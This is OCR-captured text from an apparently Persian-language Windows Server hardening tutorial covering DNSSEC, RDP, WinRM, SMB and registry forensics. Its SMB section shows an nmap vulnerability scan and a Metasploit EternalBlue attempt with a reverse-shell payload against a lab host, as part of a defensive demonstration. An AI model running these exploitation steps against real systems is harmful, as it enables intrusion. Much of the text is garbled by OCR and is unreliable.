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DNS Security Extensions (DNSSEC)

Domain Name System Security Extensions (DNSSEC) is a suite of extensions
that add security to the DNS protocol. Specifically, DNSSEC provides origin
authority, data integrity, and authenticated denial of existence. DNSSEC
provides the ability for DNS servers and resolvers to trust DNS responses by
using digital signatures for validation.

To continue, click Next and this wizard will guide you through the zone
signing process.

[[] Don't show this page again

Learn more about DNSSEC

< Back Next > Cancel
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DNS Security Extensions (DNSSEC)
‘ You have successfully configured the following parameters to sign the zone.
/ Zone name: class.local A

Key Master: WIN-MTVCKBEADOS

[Key signing key (KSK): 1]

Algorithm: RSA/SHA-256

Key length: 2048 bits

KSP: Microsoft Software Key Storage Provider
DNSKEY signature validity: 168 hours

Renlicatinn® Fnahlad
To configure different parameters, click Back.
To begin signing the zone, click Next.

To close the wizard without signing the zone, click Cancel.

< Back Next >
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4 Signing the Zone
The parameters for the 20ne are sppled and signing is ntiated.

Zone Sgning Is In progress. Signing the 200e can require several minutes depending on the
number of resource records and the zone signing parameters you have chosen.
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(key signing key )KSK ¢

DNS Security Extensions (DNSSEC)

You have successfully configured the following parameters to sign the zone.

Zone name: class.local

Key Master: WIN-MTVCKBEADO
[Key signing key (KSK): 1]
Algorithm: RSA/SHA-256

Key length: 2048 bits

KSP: Microsoft Software Key Storage Provider
DNSKEY signature validity: 168 hours

Renlicatinn® Fnahlad
To configure different parameters, click Back.
To begin signing the zone, click Next.

To close the wizard without signing the zone, click Cancel.

< Back Next >
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Change the system time Properties

Security Policy Setting  Explain

;ji‘ Change the system time
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[ ] Define these policy settings:
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—I N?twmk List Manager Policies lziz) Deny log on as a batch job Mot Defined
;@ WIFE!ESS le_jr_k (IEEE 802.17) P iz Deny log on as a service Mot Defined
L1 Public KE{ PD'?C?I_ES o] Deny log an locally Mot Defined

Add User or Group... Remove

I (alry I

e |

flrrh r
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A€ saalia | ) RPC sy RUN L2 services.msc <obe i b Al giaa e

File Acticn View Help

e B Doz Bm > nn

£ Services (Local) Name " Description  Status Startup Typ
7 Remote Desktep Configuration Remote Des... Manual
f.}, Remote Desktop Services Allows user... Manual
Sgg Remote Desktop Services UserMede Port R...  Allows ther... Manual
Q Remote Procedure Call (RPC) k‘ The RPCSS ... Started Automatic
"..g Remote Procedure Call (RPC) LoTator In Windows... Manual
% Remote Registry Enables rem... Manual
% Routing and Remote Access Offers routi... Disabled
G5 RPC Endpoint Mapper Resclves RP... Started Automatic
£ Secondary Logen Enables star... Manual ¥
< 1 . >
Extended )\ Standard /




Lregistry oledas liolawed juss 1y wgme cpiStartup cdbs wilgie joaugregistry oladas g ,b 5l @
265 Jlid |y 25 e 9 035 L
e HKEY LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\RpcSs

& Registry Editor =x Eoh ™"
File Edit View Favorites Help
. RemoteAccess ~ | Name Type Data
i RemaieRedisty ab) (Default) REG_SZ (aluenot set)
% ' Egifgt’:’t}:per ?_'?:}DependOnSenfice REG_MULTI_SZ RpcEptiMapper DcomLaur
- Roces P_'_{jDescripticn REG_SZ @oleres.dll,-5011
' e<piidF _QE_]Di:-playName REG_SZ @oleres.dll,-5010
| s3cap .‘g’_-fs'fJErrorControl REG_DWORD 000000001 (1)
s B SamSs ,‘!’g'_'_:iFaiIureActicns REG_BINARY 000000000000000000¢(
..l sbp2port é!{]Grcup REG_SZ COM Infrastructure
: . SCardSvr ablImagePath REG_EXPAND_SZ %SystemRoot %\ system32
. b scfilter i i?]ObjectName REG_SZ NT AUTHORITY\Network!
5. b Schedule ab|RequiredPrivileges REG_MULTI_SZ SeChangeNotifyPrivilege ¢
.}y SCPolicySvce ) ServiceSidType REG_DWORD 000000001 (1)
| SDRSVC °o% REG_DWORD 0x00000002 (2)
| secdry ) Typ REG_DWORD 0x00000020 (32)
. seclegen 1
: SENIS
< | 1] < | m r




e dee yodd po3) ©yg 0 1) nj polie e 03,5 SIS Lbstart ()

& 9y aimmw el YU pEaAUtOMaAtiC johay g cpl 18 5)ls 1, Y Jludevalue data cws 5 )3

@' Registry Editor

File Edit View Favorites Help

, RemoteAccess
., RemoteRegistry
. RpcEptMapper
. Rpclocator
-4y RpcSs
, rspndr
, s3cap
, SamSs
, sbp2port
, SCardSvr
, scfilter
, Schedule
, SCPolicySvc
, SDRSVC
, secdrv

, seclogen

CENIC
< L)

Al oy gwdbmanual clls 4 gy ool 358 3)lg |, ¥ lade S

Sginedisable b Jué e jwgpw ool 1S 3l 1, ¥ lade 3

ESR(ECR &5

s

Name

ab| (Default)
ab|DependOnService
ab| Description

ab| DisplayName

W] ErrorControl

Wo| FailureActions

ab] Group
ab|ImagePath

ab| ObjectName
ab|RequiredPrivileges
%) ServiceSidType

ol Typ&

Type

REG_SZ
REG_MULTI_SZ
REG_SZ
REG_SZ
REG_DWORD
REG_BINARY
REG_SZ
REG_EXPAND_SZ
REG_SZ
REG_MULTI_SZ
REG_DWORD
REG_DWORD
REG_DWORD

U

Data

(value not set)
RpcEptMapper DcomLaur
@oleres.dll,-5011
@oleres.dll,-5010
0x00000001 (1)
000000000000000000¢(
COM Infrastructure
%SystemRoot%\system32
NT AUTHORITY\Network!
SeChangeNotifyPrivilege ¢
0x00000001 (1)
0x00000002 (2)
0x00000020 (32)




g opl 09y Jed e b g Jld 4 plidlisleie 1 5900 5SyStem configuratif)n Sledas )b 51
Soguine Colia Olebas pl 4 wdiweRUN  psmsconfig o le ol boass

‘General | Boot | Services |Startup | Tools

Service Manufacturer Status DateC “
Protected Storage Microsoft Corporation Stopped

Quality Windows Audio Video Experience Microsoft Corporation Stopped

Remote Access Auto Connection Manager Microsoft Corporation

Remote Access Connection Manager Microsoft Corporation

Remote Desktop Configuration Microsoft Corporation :

Remote Desktop Services Micosoft Corporation 1

Remote Desktop Services UskrMode Port Redi... Micosoft Corporation

Remote Procedure Call (RPC) Locator Microsoft Corporation

Remote Registry Microsoft Corporation

RPC Endpoint Mapper Microsoft Corporation Running

[¥| Secondarv Logon Microsoft Corporation Stopped :

< I ) »
Note that some secure Microsoft services may not be disabled. Enable al Disable al

Hide all Microsoft services
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sl 5 e GHTTP 4 o oles ()38 50, ¢l XML 1 &S cowRPC SS9, & XML-RPC e
Ao o3lawl 4o b bLS) ¢)l,8, ¢l @synchronous RPC & 5| Google Toolkit e

o Dl 5939 pyd b 43 0l 55 sla wiwww sl LRPC wbIKel Microsoft .NET Remoting ¢
Gl 0s OB WCE Lwgs ol .amd

intersite (¢, o,0i0 [SSguDirectory Service Remote Procedure Call (DS-RPC)
cwireplication
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g 0 |,»l sSVChost.exe»

Femote Procedure Call [RPC]) Properties (Local Computer]

Gerwral  LogOn  Recovery Dependencies
Derwice name Fncta
Legnlay name Ramots Prosestam Call [RPL)

TR E Ll The APCSS servios i the Seroos Control Mansger &
Fiar COM and n-mn servens K p-efl.:.r 5 ohisct

...............................................

Dot o s able
Coendows \eptem 18 avchos o & pces o

LBt

e palus Hurring

Yua can spacly e e paramsiam that apply wihen you fad e ssice
from hene




Remote Procedure Call (RPC) Properties (Local Computer)

Genral LogOn  Recovery Dependenciss
Service name:
Disglay name.  Remate Procedure Cal (RPC)

Descrption The RPCSS serioe 13 the Sernce Cortrol Mansoer A
foe COM and DOOM zervers k performs object
Bl o R nne rare it o st Genntow varoh bone and
Path to executable
CAWndons' \sygtemIZ'evchod exs < miss ©

v

. ' }
anud tyoz Asomtic

Servioe tatus. Rurey
24 || S || Psne || Bemme

;::cm ooty he dart parametens that spply when you ttant hs secnce
here.
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e Computer\HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\Termin
al Server\WinStations\RDP-Tcp

File Edit View Favorites Help

bl SecurePipeServers ~ || Name Type Data -
: Z“"f"‘fm"“(‘;j 24 MaxDisconnecti... REG_DWORD 0x00000000 (0)
Sewfcep"’”_: i 24 MaxidleTime REG_DWORD 000000000 (0)
~ N i %4 MaxinstanceCo... REG_DWORD OxFFFFFFE (4204967295)
-}, Session Manager o3 » a: .
3 SNMP $%6| MinEncryptionL... REG_DWORD 0x00000002 (2)
’ SQMServiceList ab|NWLogonServer  REG_SZ
P 24| OutBufCount REG_DWORD 0x00000006 (6)
i Srp d 2
|} SpbensonCorfia %3 OutBufDelay REG_DWORD 0x00000064 (100)
-} Sillimage %4 OutBufLength ~ REG_DWORD 0x00000212 (530)
|, Storage ab|Password REG_SZ
2 Soleribilornibion $4)PdClass REG_DWORD 0x00000002 (2) Edit DWORD (32-bit) Value (=53]
>~ 1. SystemResources $%|PdClass1 REG_DWORD 0x0000000b (11)
-J. TabletPC ab|pdDLL REG_SZ tdtcp Value name:
4|, Terminal Server ab]pdDLLL REG_SZ tssecsrv PortNumber
|, Addlns ; REG_DWORD 0x0000004¢ (78)
" = Value data: Base
-1, ConnectionHandler REG_DWORD 000000000 (0) e
- DefaultUserConfigur?tion REG_SZ tep 3314 - exa gl
|, KeyboardType Mapping = REG_SZ N— @ Decimal
RCM
— : o REG_DWORD 0x00000d3d (3389)
- zes;lonArbltratuonHeIper REG_DWORD 0x00000001 (1) [ OK ] ’ Cancel
= '9‘5” L (IE REG_DWORD 0x00000001 (1)
" UZ'IEL"SB i =||| 28 UserAuthenticat.. REG_DWORD 0x00000000 (0)
& ab] Username REG_SZ
-}, VIDEO bty .
0 ab]WdDLL REG_SZ rdpwd
; Wds = &
2 1 WinStations || %] wdFlag REG_DWORD 0x00000036 (54) =
)‘ 1} Console ,?_lf]WdName REG_SZ Microsoft RDP 7.1
-} EH-Tep ab) WdPrefix REG_SZ RDP
» [} RDP-Tcp aB)WFProfilePath  REG_SZ
| TimeZonelnformation ab] WorkDirectory REG_SZ
,. ). usbflags ab] WsxDLL REG_SZ rdpwsx
b - hu usbstor Y, v
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
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* Administrative Templates -> Windows Components -> Remote Desktop Services
-> Remote Desktop Session Host -> Security -> "Set client connection
encryption level" to "Enabled" and "High Level".



=/ Group Policy Management Editor

File Action

View Help

o= nE = HE T

I

Microsoft Secondary Authentication Fa
Microsoft User Experience Virtualization
MetMeeting

Onelrive

Online Assistance

OOBE

Portable Operating System
Presentaticn Settings

Push Ta Install

Remote Desktop Services

| RD Licensing

| Remote Desktop Connection Client
~ || Remote Desktop Session Host

| Application Compatibility
Connections

58 5 S S S

Device and Rezource Redirectior
Licensing

Printer Redirection

Profiles

RD Connection Broker

Remote Session Environment
Security

Seszion Time Limits

SO 5 S ) S 0 S

Temporary folders

 Security

Set client connection encryption

level

Edit policy setting

Requirements:

At least Windows Server 2003
operating systems or Windows XP
Professicnal

Description:

Specifies whether to require the
use of a specific encryption level
to secure communications
between client computers and RD
Session Host servers during
Remote Desktop Protocel (RDP)
connections. This policy anly
applies when you are using native
RDP encryption. However, native
RDP encryption (as opposed to
55L encryption] is not
recomnmended. This policy does
not apply to 550 encrypticn.

If you enable this policy setting, all
communications between clients

Setting

|i=| Server authentication certificate ternplate

Set client connection encryption level

|| Always prompt for password upon connection
|iz| Require secure RPC communication
|iz| Require use of specific security layer for remote (RDP) connections

|iz| Do not allow local administrators to customize permissions

|:=| Require user authentication for remote connections by using Metwork Level Au...

£

State
Mot configured

Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured

Extended ,;{Standardf

T setting(s)
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 Administrative Templates -> Windows Components -> Remote Desktop Services
-> Remote Desktop Session Host -> Session Time Limits -> "Set time limit for
disconnected sessions" to "Enabled", and "End a disconnected session" to "1
minute".



l_—-j Group Policy Management Edito O s n—

File Action View Help

o= HE =2 HEl T

~| Microsoft Secondary Authentication Fa » " Session Time Limits
| Microsoft User Experience Virtualization )
| NetMeeting Set time limit for disconnected Setting State
= OneDrive Sessions Set tirne limit for disconnected sessions Mot configured
| Online fAscistance Edit policy settin A || Set time limit for active but idle Remote Desktop Services sessions Mot configured
~| OOBE liz| et time limit for active Rermote Desktop Services sessions Mot configured
_| Portable Operating System Requirements: || End session when time limits are reached Mot configured
| Presentation Settings At least Windows Server 2003 =] Set time limit for legoff of [feyer Mot configured
" Push To Install operating systems or Windows XP 1 minute
L¥ ] _. Remnte Desktap SENiCES prDFESSIDnal !‘" SEttlmE“mmer diSCDnnESminutes D
_| RD Licensing Description: - _ ::g m!”'—':'ﬂ
| Remote Desktop Connection Client This policy setting allows you to e SettlmeIlmltfc:-rd|5conn53ﬂm!”UtE5 Next Setting
» || Remote Desktop Session Host configure a time limit for inttes
- P disconnected Remote Desktop 1 hour
- ﬁ'-.FIFI“CEtI.DFI Compatibility Services sessions. () Mot Configured Compm 2 hours
_| Connections 3 hours
| Device and Resource Redirectior You can use this policy setting to {® Enabled gznurs
_| Licensing specify the maximum amount of _ 'IEP?UFE
“ Printer Redirection time that a disconnected session (O Disabled 16 hzz::
“ Profiles remains active on the server. By Suppe 12 hours dows Server 2003 operating systems or Windows XP Professional
- ] default, Remote Desktop Services
- RD C':'"”E'Ct'f:'” Bru:ulc.er allows users to disconnect from a 'Izja}r
_| Remote Session Environment Remote Desktop Services session ; da}rs
| Security without logging off and ending Opticns: p d:}r: Help:
| Sessicn Time Limits the session. v
| Temporary folders When a session s in a End a disconnected session | Never This policy setting allows you to configure a time limit for
= ST S \\ Extended )"\Standard/ disconnected Remote Desktop Services sessions,
5 setting(s) You can use this policy setting to specify the maximum amount
T nf tirne that a diccnnnecter] ceccinn rermaine artive nn the cerver
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* Administrative Templates -> Windows Components -> Windows
Remote Management (WinRM) -> WinRM Client -> "Allow

unencrypted traffic" to "Disabled".



(=] Group Policy Management Editor O >
File Action View Help
Ll ANaNes (NEN 7 Mol ¢
| Tablet PC ~ WinRM Client
Task Scheduler ]
Allow unencrypted traffic Setting State

Text Input

Windows Calendar

Windows Color System

Windows Customer Experience Improvement Prograr
Windows Defender Antivirus

Windows Defender Exploit Guard
Windows Defender Smarticreen
Windows Error Reporting

Windows Hello for Business

Windows Ink Workspace

Windows Installer

Windows Logon Options

Windows Media Digital Rights Management
Windows Media Player

Windows Messenger

Windows Mobility Center

Windows PowerShell

Windows Reliability Analysis

Windows Remote Management (WinEM)
| WinRM Client

| WinRM Service

Windows Remote Shell

8 S 5 S S S 5 S 0 5 5 5y S

b I

Edit policy setting

Requirements:
At least Windows Vista

Description:

This policy setting allows you to
manage whether the Windows
Remote Management (WinRM) client
sends and receives unencrypted
messages over the network,

If you enable this policy setting, the
WinRM client sends and receives
unencrypted messages over the
netwark.

If you disable or do not configure this
policy setting, the WinRM client
sends or receives only encrypted
messages over the network,

|==| Allow Basic authentication
| Allow Cred55P authentication

|==| Disallow Digest authentication

|:=| Disallow Kerberos authentication
|:=| Disallow Megotiate authentication
|==] Trusted Hosts

Mot configur
Mot configur

Allow unencrypted traffic Mot configu

Mot configur
Mot configur
Mot configur
Mot configur

Extended ,;{. Standard f
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IEq File Acticn View Help
L File Action View Window Help &= |7 E= H
&= | nE XG

7 =/ Default Domain Policy [WIN-OF| | - pefault Domain Policy [WIN-OHUUISI7G 1D, KIVAN, NET] Policy

- - w el Computer Configuration _ o o
|5l Group Policy Management Defa “ Policies Select an item to view its description.  Mame
W _T\_“.. Forest: kiyan.net Scop | Preferences il Computer Configuration
- [_Ju:lr'r'lains Link! ii®, User Configuration % User Configuration
v 5 kiyan.net _ | Policies
+/ Default Domain Policy Displ “ Preferences
w (2] Domain Controllers The f B
a.] Default Domain Controllers Policy
2] ulal aslg Log
2] il 1ol =
2] Liigys 12l
21 pwlige g b Axlg <
=t Group Policy Objects E
+ WMI Filters
5] Starter GPOs The ;
@ Sites Nan
sy Group Policy Medeling 2

« Group Policy Results
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* Local Computer -> Computer Configuration -> Administrative Templates ->
Windows Components -> Remote Desktop Services -> Remote Desktop Session
Host -> Connections -> Automatic reconnection



=] Local Group Policy Editor — [] >
File Action View Help

&= | HFE = HE T

| Push To Install ™ || Setting State Comm...
v F-':I:er'ncute _DEEH_:DP SErVices i Automatic reconnection Disabled
fl RD Licensing _ _ iz Allow users to connect remotely by using Remote Desktop 5. Mot configured Mo
- j EZEEEZEZEEEE E;:?;nd;;ﬁ[hent \iz| Deny logoff of an administrator logged in to the conscle sess.. Mot configured Mo
9 Connections \iz| Configure keep-alive connection interval Mot configured Mo
| Device and Resource Redirectior \i=| Limit number of connections Mot configured Mo
7 Licensing \iz| Suspend user sign-in to complete app registration Mot configured Mo
" Printer Redirection \i=| Set rules for remote control of Remote Desktop Services user ... Mot configured Mo
e Eilan ¥ | |= Selert netwnrl detectinn on the senser Mot confinnred Ml
< > Extended } Standard /

10 setting(s)




* Administrative Templates -> Network -> Microsoft Peer-to-Peer Networking
Services -> "Turn off Microsoft Peer-to-Peer Networking Services" to

"Enabled".

=] Group Policy Management Editor

File

Action

View Help

&= 7HE = BHEl T

\=[ Default Domain Policy [WIN-OHUUISITGTD.KIYAN.MET] Policy
w A Computer Configuration

L

W

£

| Policies

| Software Settings

| Windows Settings

| Administrative Templates: Policy definitions (ADMX file
| Control Panel

w [ Metwork

Background Intelligent Transfer Service (BITS)

| BranchCache

| Directhccess Client Experience Settings

| DMNS Client

Fonts

Hotspot Authentication

Lanman Server

Lanman Workstation

Link-Layer Topology Discovery
Microsoft Peer-to-Peer Metworking Services
Metwork Connections

Metwork Connectivity Status Indicator
Metwork Isolation

Metwork Provider

Offline Files

QoS Packet Scheduler

~

P |

Microsoft Peer-to-Peer Metworking Services

Turn off Microsoft Peer-to-Peer Setting

Networking Services

Edit policy setting

Requirements:
At least Windows XP Professional
with 5P2

Description:

This setting turns off Microsoft Peer-
to-Peer Metworking Services in its
entirety, and will cause all dependent
applications to stop working.

Peer-to-Peer protocols allow for
applications in the areas of RTC,
collaboration, content distribution
and distributed processing.

If you enable this setting, peer-to-
peer protocels will be turned off,

If you disable this setting or do not
configure it, the peer-to-peer
protocols will be turned on.

| Peer Mame Resclution Protoc

Disable password strength va

Turn off Microsoft Peer-to-P

\ Extended /{Standard /
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* Administrative Templates -> Network -> Network Connections -> "Prohibit
installation and configuration of Network Bridge on your DNS domain
network" to "Enabled".



.=/ Group Policy Management Editor
File Action View Help

oo 25 = Bl Y

.=/ Default Domain Policy [WIN-OHUUISI7G1D.KI A
v & Computer Configuration
v | Policies
> [ Software Settings
> 1 Windows Settings
v | Administrative Templates: Policy ¢
5> | Control Panel
v | Network
| Background Intelligent Trat
| BranchCache
| DirectAccess Client Experie
1 DNS Client
| Fonts
] Hotspot Authentication
| Lanman Server
] Lanman Workstation
1 Link-Layer Topology Discor
> | Microsoft Peer-to-Peer Net
> | Network Connections
1 Network Connectivity Statt
] Network Isolation
| Network Provider

Prohibit installation and Setting
xflg)‘;gm °f Networl:andge on ] Windows Defender Firewall . .
B Prohibit installation and configuration of Network Bridge on your DNS domain ...
Edit policy setting A iz Do not show the "local access only” network icon
iz Route all traffic through the internal network
Requirements: :iz] Prohibit use of Internet Connection Firewall on your DNS domain network

At least Windows Server 2003

operating systems or Windows XP .
Professional iz, Require domain users to elevate when setting a network's location

:iz] Prohibit use of Internet Connection Sharing on your DNS domain network

Description:

Determines whether a user can
install and configure the Network
Bridge.

Important: This settings is location
aware. It only applies when a
computer is connected to the
same DNS domain network it was
connected to when the setting
was refreshed on that computer. If
a computer is connected to a DNS
domain network other than the

State

Not configured

Not configured
Not configured
Not configured
Not configured
Not configured

| Offline Files one it was connected to when the
= setting was refreshed, this setting WV
4 ;] (_loS facket SO v |1 does not aoplv. s
< > \ Extended / Standard /

6 setting(s)
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PORTS 139 AND 445

SMB originally ran on top of NetBIOS using port
139. NetBIOS is an older transport layer that allows Windows
computers to talk to each other on the same network.

Later versions of SMB (after Windows 2000) began
to use port 445 on top of a TCP stack. Using TCP allows SMB
to work over the internet.
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/home/hesam
445 192.168.1.5@

Starting Nmap 7.91 ( https://nmap.org ) at 2822-81-89 @8:2@ EST
Nmap scan report for 192.168.1.5@

Host is up (@.00093s latency).

PORT STATE SERVICE VERSION

445/tcp open microsoft-ds?

MAC Address: @0:0C:29:64:25:80 (VMware)

Warning: 055can results may be unreliable because we could not find at least

1 open and 1 closed port

Device type: specialized|general purpose

Running (JUST GUESSING): AVtech embedded (87%), Microsoft Windows XP (85%)

0S CPE: cpe:/o:microsoft:windows_xp::sp3

Aggressive 0S5 guesses: AVtech Room Alert 26W environmental moniy,ct script results:

date: 2022-01-89T13:28:23

|_nb5tat: NetBIOS name: WIN-@HUUISI7G1D, NetBIOS user: <unknown
start_date: N/A

PO:0Cc:29:64:25:80 (VMware)

rosoft Windows XP SP3 (85%) |_nbstat: NetBIOS name: WIN-@HUUISI7G1D, NetBIOS user: <unknown>, NetBIOS MAC
No exact 05 matches for host (test conditions non-ideal). : 00:0c:29:64:25:80 (VMware)
Network Distance: 1 hop |5m22é§?“”1tyﬂmde:
. | _ Message signing enabled and required
Host script results: | smb2-time:
I

smb2-security-mode:

| TRACEROUTE
. 2.02: e _ HOP RTT ADDRESS
|_ Message signing enabled and required 1 ©.93 ms 192.168.1.50

05 and Service detection performed. Please report any incorrect results at ht
tps://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.86 seconds

- Jhome/hesam
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- /home/hesam
- smb-vuln 645 192.168.1.50

Starting Nmap 7.91 ( https://nmap.org ) at 2022-91-09 @9:36 EST
Nmap scan report for 192.168.1.5@
Host is up (0.00031s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: @0:9C:29:64:25:80 (VMware)

Host script results:

| _smb-vuln-ms1@-854: false

|_5mh—vu1n—m51@—@61: Could not negotiate a connectlon:SMB: Falled to receilve
bytes: ERROR

Nmap done: 1 IP address (1 host up) scanned in 8.87 seconds

.o /home/hesam
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results

ccriont
suln-msle-854:
b-vuln-msle-861:
suln-msl7-8160:
VULNERABLE :

Remote Code Execution

CESS DENIED

state: YULNERABLE
LS LVE:LVE-Z017
Risk HIGH

A critical remote

52y

factor:

ylogs. technet.microsoft.com/msrc/.

f/technet .microsoft.com/

f/cve.mitre.org/scql-oin/

(=] i L) 1S
D17/ |

¥ L L

THET-Ts s AT i . 3 & I

y/security/msl7-018.asp
E-2817-8143

ustomer-guidance

-

i -I [ .-|I-I I.- I-..l. I-. T

- o

4 1

cks /




E

root@kali: /homefhesam

File Actions Edit View Help

Nmap done: 1 IP address (1 host up) scanned in 8.87 seconds

B /home/hesam
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=[ metasploit v6.1.4-dev ]
+ — —=[ 2162 exploits - 1147 auxiliary - 367 post ]
+ — -——=[ 592 payloads - 45 encoders - 10 nops ]
+ — ——=[ 8 evasion ]

Metasploit tip: Tired of settlng RHOSTS for modules? Try
globally setting it with ) Ka X X

msf6 > use exploit/windows/smb/ms17_010_eternalblue
No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp

msf6 exploit( ) > set rhost 192.168.1.50
rhost = 192.168.1.50
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.1.100:4444
192.168.1.50:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check

192.168.1.50:445 - An SMB Login Error occurred while connecting to t
he IPC$ tree.
192.168.1.50:445 - Scanned 1 of 1 hosts (100% complete)

192.168.1.50:445 - The target 1is not vulnerable.
Exploit completed, but no session was created.
msf6 exploit( ) >




SMB: s K55 31 Cumaia g s lia (51 e

Get-SmbServerConfiguration | Select EnableSMB1Protocol,
EnableSMB2Protocol

PS C:\Users\Administrator> Get-SmbServerConfiguration | Select EnableSMB1Protocol, EnableSMB2Protocol

EnableSMBE1Protocol EnableSMBE2Protocol

PS C:\Users\Administrator>»




SMB: _s o 55 SMBV1 2 S Jlad jue (5l p @
* Set-SmbServerConfiguration -EnableSMB1Protocol Sfalse

PS C:\Users\Administrator> Set-SmbServerConfiguration -EnableSMB1Protocol $false

Confirm

Are you sure you want to perform this action?

Performing operation "Modify' on Target "SMB Server Configuration®.

[Y] Yes [A] Yes to A1l [N] No [L] MNo to A1l [5] Suspend [?] Help (default is "¥"): y
PS C:\Users\Administrator>




SMB: s 535 SMBV3 sSMBV2 3 S Jd e (5) e
Set-SmbServerConfiguration -EnableSMB2Protocol Sfalse
SMB: Lo~ 63 SMBVL (oS Jlaé (6l ye
Set-SmbServerConfiguration -EnableSMB1Protocol Strue
SMB: Jsw 3 SMBV3 sSMBV2 (28 Jlxé (5l e
Set-SmbServerConfiguration -EnableSMB2Protocol Strue



Sy s JSMBVL (3,8 Jlab po 2¥ (3,
Mg 3 0l ¢

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Pa
rameters

4S8 ol LINew > DWORD (32-bit) 4 48 culy SIS axin (¢4,
ool o (39 Jub gt giae 4 a5 03l + Wb ol (5 Hlade amd I SSMBL 1) e jlude pb o

|Fi|e Edit View Favorites Help

- LanmanServer + || Name Type Data
o ‘:"ases = 24 Guid REG_BINARY b6 89 b €3 2d 6a 1145 b4 44 b2 578 ee
& D“ft°t‘|‘t’;e aram || | mannounce  REG_DWORD 0x00000000 (0)
- L;::eew”ty - aB| NullSessionPipes REG_MULTI_SZ
‘‘‘‘ - Paran? P i ‘-’-i'rl requiresecuritysi... REG_DWORD 0x00000000 (0)
: $4) restrictnullsessa... REG_DWORD 0x00000001 (1)
... 1, ShareProviders 3
O 2b| ServiceDIl REG_EXPAND_SZ %SystemRoot%\system32\srvsve.dll
5 EarnianWorkstation 28| ServiceDllUnloa... REG_DWORD 0x00000001 (1)
54y Idap 45 Size REG_DWORD 0x00000001 (1)

b8 Ihdio i REG_DWORD 0x00000000 (0)




Null Session ) ¢ xS sla ) wFirewall ) sdldia) <SMB (28 (sl sl o) ) (e ) (S e
4 hgye p) sl Gye 2ilusNetBIOS over TCPIP ¢ &) e (s sEnumeration
‘uilbueNetBIOS over TCPIP

netbios-ns 137 /tcp # NETBIOS Name Service
netbios-ns 137 /udp

netbios-dgm 138/tcp # NETBIOS Datagram Service
netbios-dgm 138/udp

netbios-ssn 139/tcp # NETBIOS session service

netbios-ssn 139/udp
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Windows 8 Windows 7 Windows Vista Versions

W5 2012 W5 2008 R2 W5 2008 precedentes

SMB 3.02

sMB 3.0 SME 3.0 sMEB 2.1 SMB 2.0 5MB 1.0
sMB 2.1 SME 2.1 SMEB 2.1 SMB 2.0 sME 1.0
S5MB 2.0 SMB 2.0 SMB 2.0 SMB 2.0 5MEB 1.0

SMB 1.0 SMEB 1.0 sMB 1.0 SMB 1.0 SMB 1.0
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« HKEY CURRENT_USER\software\microsoft\windows\currentversion\Explorer\R
unMRU



ﬁ Registry Editor

File Edit View Favorites Help

v | Explorer A || Name
[ Ao =i
> -] ab
> - AppContract ;;’J]Z
> - AutoplayHandlers ""]
..... | BannerStore ;]C
> - BitBucket - ;
----- . CabinetState ige
CD Burning ibr]f
. CIDOpen SIMRULis

b

> -

5 -/ | CIDSave
> CLSID

> - | ComDlg32

> . ControlPanel

5 - | Desktop

» - Discardable

»»»»» . DiskSpaceChecking

> - | FileExts

> - . FolderTypes

i HideDesktoplcons

----- LogonStats

~~~~~ . LowRegistry

> - . MenuOrder

- | MMStuckRects3

» - Modules

5 . MountPoints2

~~~~~ . NewShortcutHandlers
----- OperationStatusManager
~~~~~ Package Installation

>« PlmVolatile

$ . RecentDocs

----- . Ribbon

»»»»» RunMRU

> -, Search

$ . SearchPlatform

» - Sessioninfo

Chall Ealdars ik

Type

REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ

Data

(value not set)
calc\1

notepad\1
cmd\1
devmgmt.msc\1
mspaint\1
regedit\1

efcabd

Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU



USB L;LMKL».) ¢

g oxsQuery layglps 33,5 o JaUSB jlaisl 4 LUniversal Serial Bus 4 a5 loj o @
Device ,slis g Joame clgme 38 pl 395 0 0,33 (WThumb Drive) (¢ s, 1 olKss oleMbl
Bled 0 0,33 |y AL 0d fuog it 4 SUSB oKy 4alD

W3S oy D e 4 1L S oyl (gosaliio ol °

* HKEY_LOCAL_MACHINE\SYSTEM\controlsetOO1\Enum\USBSTORE



ﬁ Registry Editor
File Edit View

Favorites Help

LV

»
v

ControlSet001

Control

- Enum
s .| {5d62494-8850-40c3-a3fa-a4fd2080baf3}
y -[ | ACPI
5 .| | ACPI_HAL
5 BTH
5. | DISPLAY
» .. HDAUDIO
5. | HID
5 HTREE
y -[1 PCI
» -[ ] ROOT
> -[3] scsi
5 STORAGE
> -l | SW
5 -| | SWD
5. | USB
v . | USBSTOR

v | Disk&Ven_hp&Prod_v220w8&Rev_1100

© 5. 04040900000096098:0

\; - Disk&Ven_JetFlash&Prod_Transcend_16GB&Rev_8.07

v . | Q79Q002E&0
v . | Device Parameters
- MediaChangeNotification
R Partmgr
- Properties
Hardware Profiles
Policies

Services
.NET CLR Data
» - .NET CLR Networking
» - | .NET CLR Networking 4.0.0.0
> - .NET Data Provider for Oracle
' .NET Data Provider for SqlServer
NET Memory Cache 4.0

. RIEFErSrmansinsl:

v

Name

ab) (Default)

4| Capabilities
ab)| ClassGUID

ab] CompatiblelDs

ire| ConfigFlags
ab| ContainerlD
ab] DeviceDesc
.i'i] Driver

Type

REG_SZ
REG_DWORD
REG_SZ
REG_MULTI_SZ
REG_DWORD
REG_SZ
REG_SZ
REG_SZ

Data

(value not set)

0x00000010 (16)
{4d36e967-e325-11ce-bfc1-08002be10318}
USBSTOR\Disk USBSTOR\RAW GenDisk
0x00000000 (0)
{d711d6b7-e484-5f3a-a014-4250920fa89f}
@disk.inf, %disk_devdesc%;Disk drive
{4d36e967-e325-11ce-bfc1-08002be10318\0001

i ab|FriendlyName

REG 57

hp v220w USB Device

b HardwarelD
.?_'f] Mfg

2

ab|Service

REG_MULTI_SZ
REG_SZ
REG_SZ

USBSTOR\Diskhp, v220w. 1100 US...
